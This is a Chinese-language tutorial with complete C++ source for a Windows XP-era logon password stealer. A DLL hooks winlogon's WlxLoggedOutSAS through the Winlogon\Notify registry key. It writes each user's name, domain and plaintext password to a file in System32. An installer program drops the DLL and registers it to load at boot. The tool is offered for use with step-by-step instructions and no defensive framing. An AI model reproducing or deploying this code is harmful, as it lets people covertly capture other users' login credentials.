获得系统密码（对Windows 7无效）


实现步骤：

1. 生成GetInfo.dll

2. 将生成的GetInfo.dll作为资源放到GetPwd工程中

3. 生成GetInfo.exe

4. 运行GetInfo.exe install

5. 重启机器，输入密码，进入系统后会得到C:\WINDOWS\System32\getPwdout.txt文件，文件内容为：

实现原理：

将GetInfo.dll，放在WinLogon\Notify注册表下时，系统启动后会自动加载GetInfo.dll，而GetInfo.dll在加载时会ＨＯＯＫ掉WlxLoggedOutSAS，系统登录时winlogon会加载WlxLoggedOutSAS函数，这个函数输出值中有

PWLX_MPR_NOTIFY_INFO

结构，其中就存储了用户名和密码。winlogon在登录时会调用这个函数，我们HOOK掉了这个函数，所以就能拿到登录的用户名和密码了。。

GetInfo.dll的实现

  1. // GetInfo.cpp : Defines the entry point for the DLL application.  
  2. //  
  3.  
  4. #include "stdafx.h"  
  5. #include "GetInfo.h"  
  6. #include <stdio.h>  
  7. #include <fstream.h>  
  8. #include <iostream.h>  
  9.  
  10. //using namespace std;  
  11. //宏定义  
  12. #define WLX_SAS_ACTION_LOGON    (1)  
  13.  
  14. //WLX_MPR_NOTIFY_INFO结构  
  15. typedef struct _WLX_MPR_NOTIFY_INFO { 
  16.     PWSTR pszUserName; 
  17.     PWSTR pszDomain; 
  18.     PWSTR pszPassword; 
  19.     PWSTR pszOldPassword; 
  20. } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO; 
  21.  
  22. //函数原形  
  23. typedef int (WINAPI* WlxLoggedOutSAS)( 
  24.                     PVOID pWlxContext, 
  25.                     DWORD dwSasType, 
  26.                     PLUID pAuthenticationId, 
  27.                     PSID pLogonSid, 
  28.                     PDWORD pdwOptions, 
  29.                     PHANDLE phToken, 
  30.                     PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  31.                     PVOID *pProfile 
  32.                     ); 
  33.  
  34. //自定义接管的API函数，形参保持一致  
  35. int WINAPI FunNewADDR( 
  36.                               PVOID pWlxContext, 
  37.                               DWORD dwSasType, 
  38.                               PLUID pAuthenticationId, 
  39.                               PSID pLogonSid, 
  40.                               PDWORD pdwOptions, 
  41.                               PHANDLE phToken, 
  42.                               PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  43.                               PVOID *pProfile 
  44.                     ); 
  45.  
  46.  
  47.  
  48. //定义字节对齐方式  
  49. #pragma pack(1)  
  50. struct HookTable{ 
  51.     HMODULE hMsgina; 
  52.     WlxLoggedOutSAS OldADDR; 
  53.     WlxLoggedOutSAS NewADDR; 
  54.     unsigned char charOldCode[6]; 
  55.     unsigned char charJmpCode[6]; 
  56. }; 
  57.  
  58. //全局hook表  
  59. HookTable hooktable = { 
  60. 0, 
  61. 0, 
  62. &FunNewADDR, 
  63. "\x8b\xff\x55\x8B\xEC", 
  64. "\xE9\x00\x00\x00\x00" 
  65. }; 
  66.  
  67. #pragma  pack()  
  68.  
  69. //////////////////////////////////////////////////////////////////////////  
  70. /////函数声明  
  71. ///////////////////////////////////////////////////////////////////////////  
  72. VOID UnHookWlxLoggedOutSAS(); 
  73. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo); 
  74. DWORD WINAPI StartHook(LPVOID lpParam); 
  75. VOID HookWlxLoggedOutSAS(); 
  76.  
  77.  
  78. int WINAPI FunNewADDR( 
  79.                       PVOID pWlxContext, 
  80.                       DWORD dwSasType, 
  81.                       PLUID pAuthenticationId, 
  82.                       PSID pLogonSid, 
  83.                       PDWORD pdwOptions, 
  84.                       PHANDLE phToken, 
  85.                       PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  86.                       PVOID *pProfile 
  87.                     ) 
  88. /************************************************************************/ 
  89. /* 函数说明：自定义函数，用来取代WlxLoggedOutSAS                        */ 
  90. /* 参数：与WlxLoggedOutSAS参数相同                                      */ 
  91. /* 返回值：与WlxLoggedOutSAS返回值相同                                  */ 
  92. /************************************************************************/ 
  93. { 
  94.     UnHookWlxLoggedOutSAS(); 
  95.  
  96.     int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile); 
  97.     if (i == WLX_SAS_ACTION_LOGON) 
  98.     { 
  99.         WriteLog(pNprNotifyInfo); 
  100.     } 
  101.     return i; 
  102.  
  103. } 
  104.  
  105.  
  106. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo) 
  107. /************************************************************************/ 
  108. /* 函数说明：将得到的用户名和密码信息写入%system%/getPwdout.txt文件中   */ 
  109. /* 参数：pNprNotifyInfo 包含用户名和密码的结构体                        */ 
  110. /* 返回值：无                                                           */ 
  111. /************************************************************************/ 
  112. { 
  113.     char szSystemDir[MAX_PATH] = {0}; 
  114.     GetSystemDirectory(szSystemDir, MAX_PATH - 1 ); 
  115.     char szFilePath[MAX_PATH] = {0}; 
  116.     strcat(szFilePath, szSystemDir); 
  117.     strcat(szFilePath, "\\getPwdout.txt"); 
  118.  
  119.     ofstream  outfile; 
  120.     outfile.open(szFilePath); 
  121.  
  122.     char szContent[1024 * 4] = {0}; 
  123.     sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword); 
  124.      
  125.     outfile.write(szContent, strlen(szContent)); 
  126.     outfile.close(); 
  127.  
  128. } 
  129.  
  130. VOID HookWlxLoggedOutSAS() 
  131. /************************************************************************/ 
  132. /* 函数说明：HOOK WlxLoggedOutSAS函数                              */ 
  133. /* 参数：无                                                             */ 
  134. /* 返回值：无                                                           */ 
  135. /************************************************************************/ 
  136. { 
  137.     DWORD OldProcte; 
  138.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  139.  
  140.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  141.     for (int i=0; i < 5; i++) 
  142.     { 
  143.         p[i] = hooktable.charJmpCode[i]; 
  144.     } 
  145.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  146.     return; 
  147. } 
  148.  
  149. VOID UnHookWlxLoggedOutSAS() 
  150. /************************************************************************/ 
  151. /* 函数说明：恢复WlxLoggedOutSAS函数的原形                              */ 
  152. /* 参数：无                                                             */ 
  153. /* 返回值：无                                                           */ 
  154. /************************************************************************/ 
  155. { 
  156.     DWORD OldProcte; 
  157.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  158.      
  159.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  160.     for (int i=0; i < 5; i++) 
  161.     { 
  162.         p[i] = hooktable.charOldCode[i]; 
  163.     } 
  164.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  165.     return; 
  166. } 
  167.  
  168. DWORD WINAPI StartHook(LPVOID lpParam) 
  169. /************************************************************************/ 
  170. /* 函数说明：得到WlxLoggedOutSAS函数地址，并HOOK WlxLoggedOutSAS函数    */ 
  171. /* 参数：无                                                             */ 
  172. /* 返回值：0表示成功                                                    */ 
  173. /************************************************************************/ 
  174. { 
  175.     //得到msgina.dll  
  176.     //hooktable.hMsgina   
  177.     int n = 0; 
  178.     hooktable.hMsgina = LoadLibrary("msgina.dll"); 
  179.     n  = GetLastError(); 
  180.     if (NULL == hooktable.hMsgina) 
  181.     { 
  182.         printf("getmoduleHandle msgina.dll error"); 
  183.         return -1; 
  184.     } 
  185.     //得到WlxLoggedOutSAS  
  186.     hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); 
  187.     if (NULL == hooktable.OldADDR) 
  188.     { 
  189.         printf("GetProcAddress WlxLoggedOutSAS error"); 
  190.         return -1; 
  191.     } 
  192.     int *OpCode = (int*)&hooktable.charJmpCode[1]; 
  193.     int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; 
  194.     *OpCode = Code; 
  195.     HookWlxLoggedOutSAS(); 
  196.     return 0; 
  197. } 
  198. BOOL APIENTRY DllMain( HANDLE hModule,   
  199.                        DWORD  ul_reason_for_call,   
  200.                        LPVOID lpReserved 
  201.                      ) 
  202. /************************************************************************/ 
  203. /* 函数说明：DLL的主函数                                             */ 
  204. /* 参数：                                                              */ 
  205. /* 返回值：                                                             */ 
  206. /************************************************************************/ 
  207. { 
  208.     switch (ul_reason_for_call) 
  209.     { 
  210.         case DLL_PROCESS_ATTACH: 
  211.             { 
  212.                 //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);  
  213.                 StartHook(NULL); 
  214.             } 
  215.             break; 
  216.         case DLL_THREAD_ATTACH: 
  217.         case DLL_THREAD_DETACH: 
  218.         case DLL_PROCESS_DETACH: 
  219.             break; 
  220.     } 
  221.     return TRUE; 
  222. } 
  223.  
  224. // This is the constructor of a class that has been exported.  
  225. // see GetInfo.h for the class definition  
  226. CGetInfo::CGetInfo() 
  227. {   
  228.     return;   
  229. } 
  230.  
  231. extern "C" __declspec(dllexport) void start() 
  232. { 
  233.     return; 
  234. } 

外壳工程：

  1. // getpwd.cpp : Defines the entry point for the console application.  
  2. //  
  3.  
  4. #include "afx.h"  
  5. #include <Windows.h>  
  6. #include "resource.h"  
  7. #include <Winerror.h>  
  8. #include <Shlwapi.h>  
  9. #pragma comment(lib, "Shlwapi.lib")  
  10.  
  11. LPBYTE CString_To_LPBYTE(CString str) 
  12. /************************************************************************/ 
  13. /* 函数说明：将cstring类型转换成LPBYTE类型                              */ 
  14. /* 参数：str 要转换的CString类型                                        */ 
  15. /* 返回值：LPBYTE 转换后的LPBYTE类型                                    */ 
  16. /************************************************************************/ 
  17.  
  18. { 
  19.     LPBYTE lpb=new BYTE[str.GetLength()+1]; 
  20.     for(int i=0;i<str.GetLength();i++) 
  21.         lpb[i]=str[i]; 
  22.     lpb[str.GetLength()]=0; 
  23.     return lpb; 
  24. } 
  25.  
  26. BOOL install() 
  27. /************************************************************************/ 
  28. /* 函数说明：释放DLL，并将DLL的路径写入到注册表中                       */ 
  29. /* 参数：无                                                             */ 
  30. /* 返回值：无                                                           */ 
  31. /************************************************************************/ 
  32. { 
  33.     //释放资源  
  34.     //定位我们的自定义资源，这里因为我们是从本模块定位资源，所以将句柄简单地置为NULL即可  
  35.     HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL")); 
  36.     if (NULL == hRsrc) 
  37.         return FALSE; 
  38.     //获取资源的大小  
  39.     DWORD dwSize = SizeofResource(NULL, hRsrc);   
  40.     if (0 == dwSize) 
  41.         return FALSE; 
  42.     //加载资源  
  43.     HGLOBAL hGlobal = LoadResource(NULL, hRsrc);   
  44.     if (NULL == hGlobal) 
  45.         return FALSE; 
  46.     //锁定资源  
  47.     LPVOID pBuffer = LockResource(hGlobal);   
  48.     if (NULL == pBuffer) 
  49.         return FALSE; 
  50.      
  51.     char szSystemDir[MAX_PATH] = {0}; 
  52.     GetSystemDirectory(szSystemDir, MAX_PATH-1); 
  53.     char szRelDll[MAX_PATH] = {0}; 
  54.     strcat(szRelDll, szSystemDir); 
  55.     strcat(szRelDll, "\\GetInfo.dll"); 
  56.     DeleteFile(szRelDll); 
  57.     HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
  58.     if (NULL == hFile) 
  59.     { 
  60.         return FALSE; 
  61.     } 
  62.     DWORD dwWritten; 
  63.     WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL); 
  64.  
  65.     CloseHandle(hFile);   
  66.     FreeResource(hGlobal); 
  67.  
  68.     //将释放的DLL写入到注册 表的WINLOGON下，当WINLOGON启动时，会加载这个DLL  
  69.     CString strDllPath = szRelDll; //("dog");  
  70.     //设置有关的数据  
  71.     //CString_To_LPBYTE,请参考下面的函数  
  72.     LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定义用户姓名 owner_Set  
  73.     DWORD type_1=REG_SZ;//定义数据类型  
  74.     DWORD cbData_1=strDllPath.GetLength()+1;//定义数据长度  
  75.      
  76.     DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1); 
  77.     if (ERROR_SUCCESS  != status) 
  78.     { 
  79.         printf("write reg:dllname error"); 
  80.         return FALSE; 
  81.     } 
  82.      
  83.     CString  strStartUp("dog"); 
  84.     LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定义公司名称 company_Set  
  85.     DWORD type_2=REG_SZ;//定义数据类型  
  86.     DWORD cbData_2=strStartUp.GetLength()+1;//定义数据长度  
  87.      
  88.     status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2); 
  89.     if (ERROR_SUCCESS  != status) 
  90.     { 
  91.         printf("write reg:dllname error"); 
  92.         return FALSE; 
  93.     } 
  94.  
  95.     return TRUE; 
  96. } 
  97.  
  98. BOOL decry() 
  99. /************************************************************************/ 
  100. /* 函数说明：用于解密生成的密码文件，生成密码文件时没有加密，所以这里没实现*/ 
  101. /* 参数：无                                                             */ 
  102. /* 返回值：无                                                           */ 
  103. /************************************************************************/ 
  104. { 
  105.     return TRUE; 
  106. } 
  107.  
  108. VOID usage() 
  109. /************************************************************************/ 
  110. /* 函数说明：打印使用帮助                                               */ 
  111. /* 参数：无                                                             */ 
  112. /* 返回值：无                                                           */ 
  113. /************************************************************************/ 
  114. { 
  115.     printf("************************************\n"); 
  116.     printf("usages:\n"); 
  117.     printf("getpwd.exe install\n"); 
  118.     printf("getpwd.exe decryp\n"); 
  119.     printf("************************************\n"); 
  120. } 
  121.  
  122.  
  123. int main(int argc, char* argv[]) 
  124. /************************************************************************/ 
  125. /* 函数说明：Main函数                                                   */ 
  126. /* 参数：无                                                             */ 
  127. /* 返回值：无                                                           */ 
  128. /************************************************************************/ 
  129. { 
  130.     if (argc != 2) 
  131.     { 
  132.         usage(); 
  133.         return -1; 
  134.     } 
  135.     if (stricmp(argv[1], "install") == 0) 
  136.     { 
  137.         install(); 
  138.         getchar(); 
  139.         return 0; 
  140.     } 
  141.     else if (stricmp(argv[1], "decryp") == 0) 
  142.     { 
  143.         decry(); 
  144.         return 0; 
  145.     } 
  146.     else 
  147.     { 
  148.         usage(); 
  149.         return 0; 
  150.     } 
  151.      
  152.     return 0; 
  153. } 

相关内容